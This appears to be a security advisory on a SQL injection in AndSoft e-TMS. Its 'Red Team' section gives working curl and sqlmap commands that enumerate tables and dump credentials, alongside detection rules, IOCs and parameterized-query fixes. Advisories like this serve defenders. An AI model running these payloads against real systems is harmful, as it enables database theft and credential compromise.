CVE-2025-59742

Executive Summary

CVE-2025-59742 is a critical SQL injection vulnerability discovered in AndSoft's e-TMS (Transport Management System) version v25.03. The flaw resides in the /inc/login/TRACK_REQUESTFRMSQL.ASP endpoint, specifically within the USRMAIL POST parameter. An unauthenticated attacker can exploit this to retrieve, create, update, and delete database records, leading to full compromise of the application's backend database. No official patch has been released, and the vulnerability is publicly documented with a proof-of-concept available.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary ASP-based application (AndSoft e-TMS). Supply chain risk is limited to the vendor's software distribution; however, no patch or advisory has been issued by AndSoft.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, likely due to incomplete scoring. Based on the technical details, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the database.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Ability to modify/delete data.
• Availability (A): High (H) – Potential to drop tables or corrupt data.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability allows unauthenticated remote attackers to execute arbitrary SQL commands, leading to complete data exfiltration, manipulation, or destruction.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in an ASP application. The endpoint /inc/login/TRACK_REQUESTFRMSQL.ASP processes a POST request with a parameter named USRMAIL. The application fails to sanitize or parameterize this input before constructing a SQL query.

Attack Flow:

1. An attacker sends a POST request to the vulnerable endpoint.
2. The USRMAIL parameter is directly concatenated into a SQL query string.
3. By injecting SQL metacharacters (e.g., a single quote '), the attacker can break out of the intended query context.
4. The attacker appends malicious SQL payloads (e.g., ' OR '1'='1' --) to bypass authentication or execute arbitrary statements.
5. The database server processes the modified query, returning results or performing actions as dictated by the attacker.

Example vulnerable query (pseudocode):

SELECT * FROM users WHERE email = '" & Request.Form("USRMAIL") & "'

Injected payload:

' UNION SELECT username, password FROM users --

This would return all usernames and passwords from the users table.

Vulnerable vs. Patched Code

Vulnerable Code (ASP):

<%
Dim sql, rs
sql = "SELECT * FROM users WHERE email = '" & Request.Form("USRMAIL") & "'"
Set rs = conn.Execute(sql)
%>

Patched Code (Parameterized Query):

<%
Dim sql, rs, cmd
Set cmd = Server.CreateObject("ADODB.Command")
cmd.ActiveConnection = conn
cmd.CommandText = "SELECT * FROM users WHERE email = ?"
cmd.Parameters.Append cmd.CreateParameter("@email", adVarChar, adParamInput, 255, Request.Form("USRMAIL"))
Set rs = cmd.Execute
%>

The patched version uses a parameterized query, preventing SQL injection by separating SQL logic from user input.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running AndSoft e-TMS v25.03.
• Network access to the /inc/login/TRACK_REQUESTFRMSQL.ASP endpoint.

Exploitation Steps:

1. Identify the vulnerable endpoint:

   curl -X POST http://target.com/inc/login/TRACK_REQUESTFRMSQL.ASP -d "USRMAIL=test"
   

2. Test for SQL injection:

   curl -X POST http://target.com/inc/login/TRACK_REQUESTFRMSQL.ASP -d "USRMAIL=test'"
   

   If an error is returned (e.g., "Unclosed quotation mark"), the endpoint is vulnerable.

3. Extract database version:

   curl -X POST http://target.com/inc/login/TRACK_REQUESTFRMSQL.ASP -d "USRMAIL=' UNION SELECT @@version, NULL, NULL --"
   

4. Enumerate tables:

   curl -X POST http://target.com/inc/login/TRACK_REQUESTFRMSQL.ASP -d "USRMAIL=' UNION SELECT table_name, NULL, NULL FROM information_schema.tables --"
   

5. Dump credentials:

   curl -X POST http://target.com/inc/login/TRACK_REQUESTFRMSQL.ASP -d "USRMAIL=' UNION SELECT username, password, NULL FROM users --"
   

Automated Exploitation (sqlmap):

sqlmap -u "http://target.com/inc/login/TRACK_REQUESTFRMSQL.ASP" --data="USRMAIL=test" --batch --dump

Blue Team (Defensive)

Detection & Response:

1. Monitor POST requests to /inc/login/TRACK_REQUESTFRMSQL.ASP with unusual USRMAIL parameters (e.g., containing SQL keywords like UNION, SELECT, ').
2. Enable WAF rules to block SQL injection patterns.
3. Review database logs for anomalous queries originating from the web server.
4. Isolate the vulnerable server if exploitation is suspected.
5. Apply virtual patching by blocking the vulnerable endpoint until an official patch is available.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /inc/login/TRACK_REQUESTFRMSQL.ASP with USRMAIL containing SQL metacharacters (', --, UNION, SELECT, DROP, etc.).
  • Outbound database connections from the web server to unusual IPs (data exfiltration).
• Host IOCs:
  • Unexpected database error messages in web server logs (e.g., "Unclosed quotation mark").
  • Modified or deleted database records.
  • New user accounts or elevated privileges in the application.
• File IOCs:
  • Suspicious ASP files or scripts uploaded to the web server (if file write is possible).

Detection Engineering

YARA Rule

rule CVE_2025_59742_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-59742 in AndSoft e-TMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-59742"
    strings:
        $s1 = "USRMAIL=" nocase
        $s2 = "' OR " nocase
        $s3 = "UNION SELECT" nocase
        $s4 = "DROP TABLE" nocase
        $s5 = "information_schema" nocase
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: SQL Injection Attempt Against AndSoft e-TMS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts targeting the USRMAIL parameter in AndSoft e-TMS
author: Valters IT
date: 2025-04-10
references:
    - CVE-2025-59742
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-query|contains: '/inc/login/TRACK_REQUESTFRMSQL.ASP'
        cs-method: 'POST'
        cs-post-body|contains: 'USRMAIL='
    keywords:
        - "' OR "
        - "UNION SELECT"
        - "DROP TABLE"
        - "information_schema"
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in email fields (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-59742 SQL Injection Attempt Against AndSoft e-TMS";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/inc/login/TRACK_REQUESTFRMSQL.ASP"; http_uri;
    content:"USRMAIL="; http_client_body;
    pcre:"/(\x27 OR |UNION SELECT|DROP TABLE|information_schema)/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-59742;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint /inc/login/TRACK_REQUESTFRMSQL.ASP if not essential.
2. Implement a Web Application Firewall (WAF) with rules to block SQL injection patterns.
3. Restrict network access to the e-TMS application to trusted IPs only.

Long-Term Fix:

• Apply parameterized queries in all ASP pages that handle user input.
• Conduct a full code audit of the application for similar vulnerabilities.
• Contact AndSoft for an official patch or upgrade to a secure version.

Workaround:

• If source code is available, modify the vulnerable ASP file to use parameterized queries as shown in the "Patched Code" section.

Valters IT
Securing Digital Frontiers